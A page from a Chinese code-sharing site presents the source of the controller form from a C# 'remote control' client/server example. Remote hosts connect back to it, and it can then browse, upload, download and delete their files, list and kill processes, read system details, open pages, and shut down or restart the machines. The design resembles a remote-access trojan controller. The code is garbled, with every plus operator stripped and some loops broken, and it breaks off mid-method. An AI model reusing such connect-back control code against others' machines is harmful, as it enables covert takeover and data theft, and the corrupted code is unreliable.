在好例子网,分享、交流、成长!
您当前所在位置:首页C# 开发实例C#语言基础 → C# 远程控制 实例源码(客户端+服务端)

C# 远程控制 实例源码(客户端+服务端)

C#语言基础

下载此实例
  • 开发语言:C#
  • 实例大小:5.13M
  • 下载次数:395
  • 浏览次数:3430
  • 发布时间:2017-02-08
  • 实例类别:C#语言基础
  • 发 布 人:VictoriesDing
  • 文件格式:.rar
  • 所需积分:4
 相关标签: 远程 控制

实例介绍

【实例简介】
【实例截图】

【核心代码】

#region 命名空间
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
using Microsoft.Win32;
using System.Net;
using System.Threading;
using System.Net.Sockets;
using System.Collections;
using System.Diagnostics;
#endregion
namespace 客户端
{
    public partial class MainFrame : Form
    {
        #region 参数
        /// <summary>
        /// 在线主机集合
        /// </summary>
        public ArrayList ary = new ArrayList();
        /// <summary>
        /// 在线主机数量
        /// </summary>
        public int count = 0;
        /// <summary>
        /// 监听器
        /// </summary>
        public TcpListener listener;
        /// <summary>
        /// 上传文件的连接
        /// </summary>
        private TcpListener uploadFile;
        ////创建一个管道[AddressFamily.InterNetwork  本机IP地址],[SocketType.Stream  流的类型] ,[ProtocolType.Tcp  传输控制协议]  
        private Socket sk = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
        /// <summary>
        /// 线程监听端口
        /// </summary>
        private Thread thread;
        /// <summary>
        /// 线程读信息
        /// </summary>
        private Thread ThreadRead;
        //发送文件线程
        private Thread fileThread;
        /// <summary>
        /// 文件路径
        /// </summary>
        private string CopyFilePath;
        /// <summary>
        /// 文件名称
        /// </summary>
        private string CopyFileName;
        /// <summary>
        /// 最后选择的主机
        /// </summary>
        private string lastly;
        /// <summary>
        /// 判断选中的节点
        /// </summary>
        private bool bo = false;  //假为选中本机
        private string finallyIP = Dns.GetHostAddresses(Dns.GetHostName())[0].ToString();   //最后选择的主机
        #endregion
        public MainFrame()
        {
            InitializeComponent();
        }
        private void Form1_Load(object sender, EventArgs e)
        {
            this.LoadMeans();
        }
        #region 程序加载时运行的方法
        /// <summary>
        /// 程序加载时运行的方法
        /// </summary>
        public void LoadMeans()
        {
            System.Windows.Forms.Control.CheckForIllegalCrossThreadCalls = false;
            this.ShowTree();
            this.ShowListView();
            this.ShowIP();
            this.ShowIco();
            this.SetBtn();
            this.showCourse();
            //this.showSys();
            this.timer1.Start();
            this.showCommandDroadcast();
            CheckForIllegalCrossThreadCalls = false;
            this.thread = new Thread(new ThreadStart(this.Listen));
            this.thread.Start();
            this.label7.Text = "文件目录游览";
        }
        #endregion
        #region 退出
        /// <summary>
        /// 退出
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void 退出ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            //退出本程序
            this.thread.Abort();
            Application.Exit();
        }
        #endregion
        #region 显示我的电脑的文件图片
        public void ShowTree()
        {
            LoadTree lt = new LoadTree();
            //调用显示树形控件属性的方法
            lt.ShowTree(this.treeView1,this);
        }
        #endregion
        #region 递归添加节点
        public void AddTree(TreeNode tn, string path)
        {
            //创建目录
            DirectoryInfo dir = new DirectoryInfo(path);
            //得到目录下的所有子目录
            if (dir.Exists)
            {
                DirectoryInfo[] dirs = dir.GetDirectories();
                //遍历所有子mul
                tn.Nodes.Clear();
                foreach (DirectoryInfo di in dirs)
                {
                    //添加节点目录
                    TreeNode t = new TreeNode(di.FullName.ToString().Trim());
                    tn.Nodes.Add(t);
                    //AddTree(t, di.FullName.ToString());
                }
            }

        }
        #endregion
        #region 显示在线主机
        /// <summary>
        /// 显示在线主机
        /// </summary>
        public void showOnlineComputer(TreeNode t1)
        {
            ShowOnlineComputer show = new ShowOnlineComputer();
            //现在那里要显示的内容
            show.show(t1,this.ary);
        }
        #endregion
        #region 选择节点事件
        /// <summary>
        /// 选择节点事件
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void treeView1_AfterSelect(object sender, TreeViewEventArgs e)
        {
            this.TreeAfterSelect(e.Node);
        }
        public void TreeAfterSelect(TreeNode e)
        {
            try
            {
                TreeNode t = e.Parent;//父节点
                TreeNode t1 = e;   //选中的节点
                //判断当前是否选中远程主机
                if (t1.Text == "远程主机")
                {
                    this.showOnlineComputer(t1);
                }
                //选择的IP
                else if (t1.Parent.Text == "远程主机")
                {
                    for (int i = 0; i < ary.Count; i  )
                    {
                        //选中IP得到它的网络流
                        Socket s = (Socket)this.ary[i];
                        IPAddress ip = IPAddress.Parse(((IPEndPoint)s.RemoteEndPoint).Address.ToString());
                        //比较当前选中的是那个Socket
                        if (t1.Text == ip.ToString())
                        {
                            //设置最后选中的Socket
                            this.lastly = t1.Text;   //选择的主机
                            this.bo = true;
                            //取得网络流
                            NetworkStream ns = new NetworkStream(s);
                            //调用命令
                            Command cmd = new Command(ns);
                            //调用命令后返回的值比较
                            if (cmd.Driverlist(t1))
                            {

                                this.txtShowInfo.Items.Add("\r\n"   "磁盘列表成功-----");
                            }
                            else
                            {
                                this.txtShowInfo.Items.Add("\r\n"   "磁盘列表失败-----");
                            }
                        }
                    }
                }
                else if (t1.FullPath.IndexOf("远程主机") != -1)
                {
                    for (int i = 0; i < this.ary.Count; i  )
                    {
                        Socket s = (Socket)this.ary[i];
                        IPAddress ip = IPAddress.Parse(((IPEndPoint)s.RemoteEndPoint).Address.ToString());
                        if (this.lastly == ip.ToString())
                        {
                            NetworkStream ns = new NetworkStream(s);
                            Command cmd = new Command(ns);
                            //文件列表命令
                            if (cmd.Folderlist(t1, this.listViewFile))
                            {
                                this.txtShowInfo.Items.Add("\r\n"   "文件列表成功-----");
                                //当前上传文件的按钮可用
                                this.btnSend.Enabled = true;
                                //当前下载文件的按钮可用
                                this.btnDown.Enabled = true;
                            }
                            else
                            {
                                this.txtShowInfo.Items.Add("\r\n"   "文件列表失败-----");
                                this.listViewFile.Items.Clear();
                            }
                            //退后按钮可用
                            this.btnBank.Enabled = true;
                            //刷新
                            this.treeView1.Refresh();
                            this.listViewFile.Refresh();
                        }
                    }
                }
                else
                {

                    try
                    {
                        DirectoryInfo dir = new DirectoryInfo(e.Text.ToString());
                        if (dir.Exists)
                        {
                            //遍历选中的节点的父节点
                            foreach (TreeNode tn in t.Nodes)
                            {
                                if (tn.ToString() == t1.ToString())
                                {
                                    //递归
                                    this.AddTree(tn, dir.ToString());
                                }
                            }
                            //刷新
                            this.treeView1.Refresh();
                        }
                        if (t1.Text != "我的电脑")
                        {
                            this.bo = false;
                            FileInfo[] files = dir.GetFiles();
                            //循环添加文件到文件列表
                            this.listViewFile.Items.Clear();
                            //遍历所有文件
                            foreach (FileInfo file in files)
                            {
                                ListViewItem lvi = new ListViewItem(file.ToString());
                                //取得当前文件长度单位KB
                                lvi.SubItems.Add(file.Length.ToString()   " KB");
                                //取得当前文件最后修改时间
                                lvi.SubItems.Add(file.LastWriteTime.ToString());
                                //listViewFile添加文件列表
                                this.listViewFile.Items.Add(lvi);
                            }
                            //退后按钮可用
                            this.btnBank.Enabled = true;
                        }
                    }
                    catch (Exception)
                    {

                    }
                }
            }
            catch (Exception)
            {

            }
            this.treeView1.Refresh();
        }
        #endregion 
        #region 配置服务器
        /// <summary>
        /// 配置服务器
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void btnSettServer_Click(object sender, EventArgs e)
        {
            //实例化配置服务器窗口
            NewServer server = new NewServer();
            server.Show();
        }
        #endregion
        #region 显示本机文件列表
        public void ShowListView()
        {
            ShowListViewHead slv = new ShowListViewHead();
            //显示表头的方法
            slv.FileListView(this.listViewFile);
        }
        #endregion
        #region 显示本机IP地址
        public void ShowIP()
        {
            //不了解的请查看MSDN
            string ip = Dns.GetHostAddresses(Dns.GetHostName())[0].ToString();
            this.lblIP.Text = "本機IP地址: "   ip.ToString();
        }
        public void ShowIco()
        {
            //托盘控件
            this.ClewIcon.BalloonTipTitle = "启动提示...";
            this.ClewIcon.BalloonTipText = "监听端口 "   (int)EnumPort.PORT.连接上线端口   " ....\r\n等待主机上线";
            this.ClewIcon.ShowBalloonTip(200);
            this.ClewIcon.Visible = true;
        }
        #endregion
        #region  监听端口
        /// <summary>
        /// 监听端口
        /// </summary>
        public void Listen()
        {
            //实例化监听类
            ListenPort lp = new ListenPort();
            //当前开始监听
            lp.listen(this);
        }
        #endregion
        #region 删除事件
        /// <summary>
        /// 删除事件
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void btnDelete_Click(object sender, EventArgs e)
        {
            try
            {
                if (this.treeView1.SelectedNode.FullPath.IndexOf("远程主机") != -1)
                {             //取得当前listView所选中的项
                    int index = 0;
                    foreach (int i in this.listViewFile.SelectedIndices)
                    {
                        index = i;
                    }
                    //取得当前文件列表所选择的文件
                    string list = this.listViewFile.Items[index].SubItems[0].Text;
                    //取得当前的节点
                    string tree = this.treeView1.SelectedNode.Text;
                    //并接成字符串
                    string filePath = tree   list;
                    for (int i = 0; i < this.ary.Count; i  )
                    {
                        Socket s = (Socket)this.ary[i];
                        IPAddress ip = IPAddress.Parse(((IPEndPoint)s.RemoteEndPoint).Address.ToString());
                        //判断前的Socket集合是否存在用户最后一次所选择的在线主机
                        if (ip.ToString() == this.lastly)
                        {
                            NetworkStream ns = new NetworkStream(s);
                            Command cmd = new Command(ns);
                            if (cmd.DeleteFile(filePath))
                            {
                                this.txtShowInfo.Items.Clear();
                                this.txtShowInfo.Items.Add("\r\n"   "文件删除成功-----");
                                //刷新
                                this.listViewFile.Items.RemoveAt(index);
                                this.treeView1.Refresh();
                                this.listViewFile.Refresh();
                            }
                            else
                            {
                                this.txtShowInfo.Items.Clear();
                                this.txtShowInfo.Items.Add("\r\n"   "文件删除失败-----");
                            }
                            ns.Close();
                        }
                    }
                }
                else
                {
                    try
                    {
                        //取得当前listView所选中的项
                        int index = 0;
                        foreach (int i in this.listViewFile.SelectedIndices)
                        {
                            index = i;
                        }
                        string list = this.listViewFile.Items[index].SubItems[0].Text;
                        //取得当前的节点
                        string tree = this.treeView1.SelectedNode.Text;
                        //并接成字符串
                        string filePath = tree   list;
                        //删除该文件
                        File.Delete(filePath);
                        this.txtShowInfo.Items.Clear();
                        this.txtShowInfo.Items.Add("\r\n"   "文件删除成功-----");
                        //刷新
                        this.listViewFile.Items.RemoveAt(index);
                        this.treeView1.Refresh();
                        this.listViewFile.Refresh();
                    }
                    catch (Exception)
                    {
                        this.txtShowInfo.Items.Clear();
                        this.txtShowInfo.Items.Add("\r\n"   "文件删除失败-----");
                    }
                }
            }
            catch (Exception)
            {
            }
        }
        #endregion 
        #region 上向事件
        /// <summary>
        /// 上向事件
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void btnBank_Click(object sender, EventArgs e)
        {
            //取得当前节点
            TreeNode tn = this.treeView1.SelectedNode;
            string str = tn.ToString();
            str = str.Replace("TreeNode: ", "");
            //如果是我的电脑就取消listViewFile里的内容
            if (str == "我的电脑")
            {
                //退后按钮不可用
                this.btnBank.Enabled = false;
                this.listViewFile.Items.Clear();
                this.treeView1.CollapseAll();
                this.listViewFile.Refresh();
            }
            else if (str == "远程主机")
            {
                //退后按钮不可用
                this.btnBank.Enabled = false;
                this.treeView1.CollapseAll();
                this.listViewFile.Items.Clear();
                this.treeView1.Refresh();
                this.listViewFile.Refresh();
            }
            //如果不是我的电脑就添加节点
            else
            {
                this.treeView1.SelectedNode = tn.Parent;
                //刷新
                this.treeView1.Refresh();
                this.listViewFile.Refresh();
            }

        }
        #endregion
        #region 复制事件
        /// <summary>
        /// 复制事件
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void btnCopy_Click(object sender, EventArgs e)
        {
            try
            {
                if (this.treeView1.SelectedNode.FullPath.IndexOf("远程主机") != -1)
                {
                    int index = 0;
                    foreach (int i in this.listViewFile.SelectedIndices)
                    {
                        index = i;
                    }
                    //取得当前选中的文件名
                    this.CopyFileName = this.listViewFile.Items[index].SubItems[0].Text;
                    //选中当前的文件的路径
                    string filePath = this.treeView1.SelectedNode.Text;
                    //只留下文件路径
                    //文件路径和文件名并接起来
                    this.CopyFilePath = filePath   this.CopyFileName;
                }
                else
                {
                    int index = 0;
                    foreach (int i in this.listViewFile.SelectedIndices)
                    {
                        index = i;
                    }
                    //取得当前选中的文件名
                    this.CopyFileName = this.listViewFile.Items[index].SubItems[0].Text;
                    //选中当前的文件的路径
                    string filePath = this.treeView1.SelectedNode.Text;
                    //只留下文件路径
                    //文件路径和文件名并接起来
                    this.CopyFilePath = filePath   this.CopyFileName;
                }
                //复制按钮不可用
                this.btnCopy.Enabled = false;
                //张贴按钮可用
                this.btnAffix.Enabled = true;
            }
            catch (Exception)
            {
                this.txtShowInfo.Items.Clear();
                this.txtShowInfo.Items.Add("\r\n"   "选择无效-----");
            }
        }
        #endregion
        #region 设置按钮
        /// <summary>
        /// 设置按钮
        /// </summary>
        public void SetBtn()
        {
            //设置按钮的可用状态
            this.btnAffix.Enabled = false;
            this.btnBank.Enabled = false;
            this.btnDelete.Enabled = false;
            this.btnCopy.Enabled = false;
            this.btnSend.Enabled = false;
            this.btnDown.Enabled = false;
            this.txtIp.Text = Dns.GetHostAddresses(Dns.GetHostName())[0].ToString();
        }
        #endregion
        #region listViewFile事件
        /// <summary>
        /// listViewFile事件
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void listViewFile_SelectedIndexChanged(object sender, EventArgs e)
        {
            this.btnCopy.Enabled = true;
            this.btnDelete.Enabled = true;
        }
        #endregion
        #region 下载文件事件
        /// <summary>
        /// 下载文件事件
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void btnDown_Click(object sender, EventArgs e)
        {
            this.fileThread = new Thread(new ThreadStart(this.DownFile));
            this.fileThread.Start();
        }
        public void DownFile()
        {
            if ("".Equals(this.CompanyName))
            {
                MessageBox.Show("请选择要下载的文件", "提示", MessageBoxButtons.OK, MessageBoxIcon.Information);
            }
            else
            {
                try
                {
                    int index = 0;
                    foreach (int i in this.listViewFile.SelectedIndices)
                    {
                        index = i;
                    }
                    //取得当前选中的文件名
                    this.CopyFileName = this.listViewFile.Items[index].SubItems[0].Text;
                    string filePath = this.treeView1.SelectedNode.Text;
                    SaveFileDialog ofd = new SaveFileDialog();
                    string path = "";
                    ofd.FileName = this.CopyFileName;
                    if (ofd.ShowDialog() == DialogResult.OK)
                    {
                        path = ofd.FileName;
                        for (int i = 0; i < this.ary.Count; i  )
                        {
                            Socket s = (Socket)this.ary[i];
                            IPAddress ip = IPAddress.Parse(((IPEndPoint)s.RemoteEndPoint).Address.ToString());
                            if (ip.ToString() == this.lastly)
                            {
                                //发信息的流
                                NetworkStream ns = new NetworkStream(s);
                                Command cmd = new Command(ns);
                                if (!cmd.DownFile((filePath   this.CopyFileName), path, ns))
                                {
                                    this.txtShowInfo.Items.Clear();
                                    this.txtShowInfo.Text = "\r\n"   "文件下载成功-----";
                                }
                                ns.Close();
                            }
                        }
                    }
                }
                catch (Exception)
                {
                    this.txtShowInfo.Items.Clear();
                    this.txtShowInfo.Items.Add("\r\n"   "文件下载失败-----");
                }
                this.fileThread.Abort();
            }
        }
        #endregion
        #region 上传文件事件
        /// <summary>
        /// 上传文件事件
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void btnSend_Click(object sender, EventArgs e)
        {
            this.fileThread = new Thread(new ThreadStart(this.SendFile));
            this.fileThread.Start();
        }
        public void SendFile()
        {
            try
            {
                string filePath = this.treeView1.SelectedNode.Text;
                OpenFileDialog ofd = new OpenFileDialog();
                string path = "";
                if (ofd.ShowDialog() == DialogResult.OK)
                {
                    path = ofd.FileName;
                    for (int i = 0; i < this.ary.Count; i  )
                    {
                        Socket s = (Socket)this.ary[i];
                        IPAddress ip = IPAddress.Parse(((IPEndPoint)s.RemoteEndPoint).Address.ToString());
                        if (ip.ToString() == this.lastly)
                        {
                            //发信息的流
                            NetworkStream ns = new NetworkStream(s);
                            Command cmd = new Command(ns);
                            string str = path.Substring(path.LastIndexOf(@"\")   1);
                            filePath = filePath   @"\"   str;
                            if (!cmd.SendFile(filePath, path, ip.ToString()))
                            {
                                this.txtShowInfo.Items.Clear();

                                this.txtShowInfo.Items.Add("\r\n"   "文件上传成功-----");
                            }
                            ns.Close();
                        }
                    }
                }
            }
            catch (Exception)
            {
                this.txtShowInfo.Items.Clear();

                this.txtShowInfo.Items.Add("\r\n"   "文件上传失败-----");
            }
            this.fileThread.Abort();
        }
        #endregion
        #region 粘贴事件
        /// <summary>
        /// 粘贴事件
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void btnAffix_Click_1(object sender, EventArgs e)
        {
            if (this.treeView1.SelectedNode.FullPath.IndexOf("远程主机") != -1)
            {
                try
                {
                    for (int i = 0; i < this.ary.Count; i  )
                    {
                        Socket s = (Socket)this.ary[i];
                        IPAddress ip = IPAddress.Parse(((IPEndPoint)s.RemoteEndPoint).Address.ToString());
                        if (ip.ToString() == this.lastly)
                        {
                            NetworkStream ns = new NetworkStream(s);
                            string filePath = this.treeView1.SelectedNode.Text;
                            Command cmd = new Command(ns);
                            if ("".Equals(this.CopyFilePath) || "".Equals(this.CopyFileName) || "".Equals(filePath))
                            {
                                this.txtShowInfo.Items.Clear();
                                this.txtShowInfo.Items.Add("\r\n"   "文件复制失败-----");
                                return;
                            }
                            string path = this.CopyFilePath   "|"   filePath   this.CopyFileName;
                            if (cmd.CopyFile(path))
                            {
                                this.txtShowInfo.Items.Clear();
                                this.txtShowInfo.Items.Add("\r\n"   "文件复制成功-----");
                            }
                            else
                            {
                                this.txtShowInfo.Items.Clear();
                                this.txtShowInfo.Items.Add("\r\n"   "文件复制失败-----");
                            }
                            ns.Close();
                        }
                    }
                }
                catch (Exception)
                {
                    this.txtShowInfo.Items.Clear();
                    this.txtShowInfo.Items.Add("\r\n"   "文件复制失败-----");
                }
            }
            else
            {
                try
                {
                    //取得要张贴的路径
                    string filePath = this.treeView1.SelectedNode.Text;
                    if ("".Equals(this.CopyFilePath) || "".Equals(this.CopyFileName) || "".Equals(filePath))
                    {
                        this.txtShowInfo.Items.Clear();
                        this.txtShowInfo.Items.Add("\r\n"   "文件复制失败-----");
                        return;
                    }
                    //静态方法复制文件
                    File.Copy(this.CopyFilePath, filePath   this.CopyFileName, true);
                    this.txtShowInfo.Items.Add("\r\n"   "文件复制成功-----");
                }
                catch (Exception)
                {
                    this.txtShowInfo.Items.Clear();
                    this.txtShowInfo.Items.Add("\r\n"   "文件复制失败-----");
                }
            }
            //listViewFile添加复制过来的文件
            this.listViewFile.Items.Add(this.CopyFileName.ToString());
            //刷新
            this.listViewFile.Refresh();
        }
        #endregion
        #region 显示进程的列表的列头
        /// <summary>
        /// 显示进程的列表的列头
        /// </summary>
        public void showCourse()
        {
            //列头
            ColumnHeader ch1 = new ColumnHeader();
            ch1.Width = 100;
            ch1.Text = "进程名称";
            ColumnHeader ch2 = new ColumnHeader();
            ch2.Width = 100;
            ch2.Text = "用户名";
            ColumnHeader ch3 = new ColumnHeader();
            ch3.Width = 100;
            ch3.Text = "内存使用";
            ColumnHeader ch4 = new ColumnHeader();
            ch4.Width = 220;
            ch4.Text = "进程对应的窗口";
            //把列头添加到 listViewCourse
            this.listViewCourse.Columns.Add(ch1);
            this.listViewCourse.Columns.Add(ch2);
            this.listViewCourse.Columns.Add(ch3);
            this.listViewCourse.Columns.Add(ch4);
            this.listViewCourse.View = View.Details;

        }
        #endregion
        private void listViewCourse_MouseDown(object sender, MouseEventArgs e)
        {
            //弹出右键菜单
            if (e.Button == MouseButtons.Right)
            {
                //出现的坐标
                this.RightMenu.Show(e.X, e.Y   this.listViewCourse.Height);
            }
        }
        //菜单的单击事件
        private void RightMenu_Click(object sender, EventArgs e)
        {
            this.Kill();
        }

        private void timer1_Tick(object sender, EventArgs e)
        {
            //显示时间
            this.lblTime.Text = DateTime.Now.ToString();
        }
        #region 打开网页
        /// <summary>
        /// 打开网页
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void button4_Click(object sender, EventArgs e)
        {

            foreach (int i in listViewCommand.CheckedIndices)
            {
                for (int j = 0; j < this.ary.Count; j  )
                {
                    Socket s = (Socket)this.ary[j];
                    IPAddress ip = IPAddress.Parse(((IPEndPoint)s.RemoteEndPoint).Address.ToString());
                    if (this.listViewCommand.Items[j].Text == ip.ToString() && this.listViewCommand.Items[j].Checked == true)
                    {
                        NetworkStream ns = new NetworkStream(s);
                        Command cmd = new Command(ns);
                        if (cmd.OpenHtml(this.txtHtml.Text))
                        {
                            this.txtShowInfo.Items.Clear();
                            this.txtShowInfo.Items.Add("\r\n"   "打开成功-----");
                        }
                        else
                        {
                            this.txtShowInfo.Items.Clear();
                            this.txtShowInfo.Items.Add("\r\n"   "打开失败-----");
                        }
                        ns.Close();
                    }
                }
            }
        }
        #endregion
        //priv
        #region 退出时提示所有被管理的机器
        /// <summary>
        /// 退出时提示所有被管理的机器
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void MainFrame_FormClosing(object sender, FormClosingEventArgs e)
        {
            for (int i = 0; i < this.ary.Count; i  )
            {
                //在集合里拿出Socket通信通道
                Socket sk = (Socket)this.ary[i];
                //利用Socket New 网络流
                NetworkStream ns = new NetworkStream(sk);
                StreamWriter sw = new StreamWriter(ns);
                //发送信息
                sw.WriteLine("END");
                sw.Close();
            }
            this.thread.Abort();
            if(this.ThreadRead!=null)
            {
                this.ThreadRead.Abort();
            }
            this.ClewIcon.Dispose();
        }
        #endregion
        #region 显示命令广播信息
        /// <summary>
        /// 显示命令广播信息
        /// </summary>
        public void showCommandDroadcast()
        {
            ShowListViewHead slv = new ShowListViewHead();
            slv.OnlineComputerListView(this.listViewCommand);
        }
        #endregion
        #region 广播命令主机列表
        /// <summary>
        /// 广播命令主机列表
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void tabControl1_SelectedIndexChanged(object sender, EventArgs e)
        {
            this.finallyIP = Dns.GetHostAddresses(Dns.GetHostName())[0].ToString();
            //清楚原来列表所有的项
            this.listViewCommand.Items.Clear();
            //判断单击的是否是BroadcastPage面板
            if (tabControl1.SelectedTab.Name == "BroadcastPage")
            {
                //取得树的所有节点
                TreeNodeCollection nodes = this.treeView1.Nodes;
                foreach (TreeNode n in nodes)
                {
                    //比较当前节点是否是远程主机
                    if (n.Text == "远程主机")
                    {
                        //在拿远程主机下的所有节点
                        TreeNodeCollection tncs = n.Nodes;
                        //遍历远程主机节点下的所有节点
                        foreach (TreeNode tn in tncs)
                        {
                            //节点名称实例化对象
                            ListViewItem lvi = new ListViewItem(tn.Text);
                            //遍历所有Socket
                            for (int i = 0; i < this.ary.Count; i  )
                            {
                                //取得当前Socket的IP地址
                                Socket s = (Socket)this.ary[i];
                                IPAddress ip = IPAddress.Parse(((IPEndPoint)s.RemoteEndPoint).Address.ToString());
                                //比较当前节点是都等于对应Socket集合里的元素
                                if (tn.Text == ip.ToString())
                                {
                                    //如果相等就取的通信流
                                    NetworkStream ns = new NetworkStream(s);
                                    Command cmd = new Command(ns);
                                    //发送命令返回的值 Str
                                    string str = cmd.GetSysInfo();
                                    //分解字符串
                                    string[] info = str.Split('-');
                                    //遍历返回来的信息添加到  ListViewItem 子项里取
                                    for (int j = 0; j < info.Length; j  )
                                    {
                                        lvi.SubItems.Add(info[j]);
                                    }
                                    lvi.SubItems.Add(DateTime.Now.ToString());
                                    lvi.SubItems.Add("测试");
                                }
                            }
                            //ListViewItem  显示的图标
                            lvi.ImageIndex = 0;
                            lvi.StateImageIndex = 0;
                            //把当前的ListViewItem添加到listViewCommand里取
                            this.listViewCommand.Items.Add(lvi);
                        }
                    }
                }

            }
            else if (tabControl1.SelectedTab.Name == "SysInfoPage")
            {
                if (this.listViewCommand.CheckedIndices.Count > 1)
                {
                    MessageBox.Show("不能两台机器同时操作..");
                }
                else if (this.listViewCommand.CheckedIndices.Count == 0)
                {
                    try
                    {
                        //清空原来的所有内容
                        this.listViewCourse.Items.Clear();
                        //遍厉所有正在运行的进程
                        foreach (Process p in Process.GetProcesses(System.Environment.MachineName))
                        {
                            //用进程的名称NEW一个实例
                            ListViewItem lvi = new ListViewItem(p.ProcessName);
                            //添加子项
                            lvi.SubItems.Add(Environment.UserName);                     //当前登陆的帐号
                            lvi.SubItems.Add(p.WorkingSet.ToString()   " KB");           //占用的内存大小
                            lvi.SubItems.Add(p.MainWindowTitle.ToString());          //对应的窗口
                            this.listViewCourse.Items.Add(lvi);               //添加
                            this.txtShowInfo.Items.Clear();
                            this.txtShowInfo.Items.Add("\r\n"   "进程列表成功-----");
                        }
                    }
                    catch (IOException)
                    {
                        this.txtShowInfo.Items.Clear();
                        this.txtShowInfo.Items.Add("\r\n"   "进程列表失败-----");
                    }
                }
                else
                {
                    try
                    {
                        int index = 0;
                        foreach (int i in this.listViewCommand.CheckedIndices)
                        {
                            index = i;
                        }
                        for (int i = 0; i < this.ary.Count; i  )
                        {
                            Socket s = (Socket)this.ary[i];
                            IPAddress ip = IPAddress.Parse(((IPEndPoint)sk.RemoteEndPoint).Address.ToString());
                            if (this.listViewCommand.Items[index].Text == ip.ToString() && this.listViewCommand.Items[i].Checked == true)
                            {
                                NetworkStream ns = new NetworkStream(s);
                                Command cmd = new Command(ns);
                                string str = cmd.Course();
                                if (str != "null")
                                {
                                    string[] course = str.Split('|');
                                    this.listViewCourse.Items.Clear();
                                    for (int j = 0; i < course.Length; j  )
                                    {
                                        ListViewItem lvi = new ListViewItem(course[j]);
                                        lvi.SubItems.Add(course[  j]);
                                        lvi.SubItems.Add(course[  j]);
                                        lvi.SubItems.Add(course[  j]);
                                        this.listViewCourse.Items.Add(lvi);
                                    }
                                    this.txtShowInfo.Items.Clear();
                                    this.txtShowInfo.Items.Add("\r\n"   "进程列表成功-----");
                                    ns.Close();
                                }
                            }
                        }
                    }
                    catch (IOException)
                    {
                        this.txtShowInfo.Items.Clear();
                        this.txtShowInfo.Items.Add("\r\n"   "进程列表失败-----");
                    }
                }
            }
        }
        #endregion
        #region 查看系统信息的面板事件
        private void tabControl3_SelectedIndexChanged(object sender, EventArgs e)
        {
            this.comIconType.SelectedIndex = 0;
            this.comButtonType.SelectedIndex = 0;
            if (tabControl3.SelectedTab.Name == "tabSysInfo")
            {
                if (this.listViewCommand.CheckedIndices.Count > 1)
                {
                    MessageBox.Show("不能同时查看多台机器的信息..");
                }
                else if (this.listViewCommand.CheckedIndices.Count == 0)
                {
                    this.LocalSysInfo();
                }
                else
                {
                    int index = 0;
                    foreach (int i in this.listViewCommand.CheckedIndices)
                    {
                        index = i;
                    }
                    for (int i = 0; i < this.ary.Count; i  )
                    {
                        Socket s = (Socket)this.ary[i];
                        IPAddress ip = IPAddress.Parse(((IPEndPoint)s.RemoteEndPoint).Address.ToString());
                        if (this.listViewCommand.Items[index].Text == ip.ToString() && this.listViewCommand.Items[i].Checked == true)
                        {
                            NetworkStream ns = new NetworkStream(s);
                            Command cmd = new Command(ns);
                            string str = cmd.GetSysInfo();
                            string []info = str.Split('-');
                            this.txtDomainName.Text = info[0];
                            this.txtSysDir.Text = info[1];
                            this.txtComputerName.Text = info[2];
                            this.txtOSName.Text = info[3];
                            this.txtLoginUser.Text = info[4];
                            this.txtMemoryInfo.Text = info[5];
                            ns.Close();
                        }
                    }
                }
            }
        }
        #endregion
        #region 本机系统信息
        /// <summary>
        /// 本机系统信息
        /// </summary>
        public void LocalSysInfo()
        {
            SystemInfo si = new SystemInfo();
            this.txtDomainName.Text = si.GetUserDomainName();
            this.txtSysDir.Text = si.GetSystemDirectory();
            this.txtComputerName.Text = si.GetMyComputerName();
            this.txtOSName.Text = si.GetMyOSName();
            this.txtLoginUser.Text = si.GetMyUserName();
            this.txtMemoryInfo.Text = si.GetMyMemoryInfo();

        }
        #endregion
        #region 关闭远程计算机
        /// <summary>
        /// 关闭远程计算机
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void btnCloseComputer_Click(object sender, EventArgs e)
        {
            foreach (int i in listViewCommand.CheckedIndices)
            {
                for (int j = 0; j < this.ary.Count; j  )
                {
                    Socket s = (Socket)this.ary[j];
                    IPAddress ip = IPAddress.Parse(((IPEndPoint)s.RemoteEndPoint).Address.ToString());
                    if (this.listViewCommand.Items[j].Text == ip.ToString() && this.listViewCommand.Items[j].Checked == true)
                    {
                        NetworkStream ns = new NetworkStream(s);
                        Command cmd = new Command(ns);
                        if (cmd.CloseComputer())
                        {
                            this.txtShowInfo.Items.Clear();
                            this.txtShowInfo.Items.Add("\r\n"   "关闭成功-----");
                        }
                        else
                        {
                            this.txtShowInfo.Items.Clear();
                            this.txtShowInfo.Items.Add("\r\n"   "关闭失败-----");
                        }
                        ns.Close();
                    }
                }
            }
        }
        #endregion
        #region 重启远程计算机
        /// <summary>
        /// 重启远程计算机
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void btnStartUpComputer_Click(object sender, EventArgs e)
        {
            foreach (int i in listViewCommand.CheckedIndices)
            {
                for (int j = 0; j < this.ary.Count; j  )
                {
                    Socket s = (Socket)this.ary[j];
                    IPAddress ip = IPAddress.Parse(((IPEndPoint)s.RemoteEndPoint).Address.ToString());
                    if (this.listViewCommand.Items[j].Text == ip.ToString() && this.listViewCommand.Items[j].Checked == true)
                    {
                        NetworkStream ns = new NetworkStream(s);
                        Command cmd = new Command(ns);
                        if (cmd.StartUpComputer())
                        {
                            this.txtShowInfo.Items.Clear();
                            this.txtShowInfo.Items.Add("\r\n"   "重启成功-----");
                        }
                        else
                        {
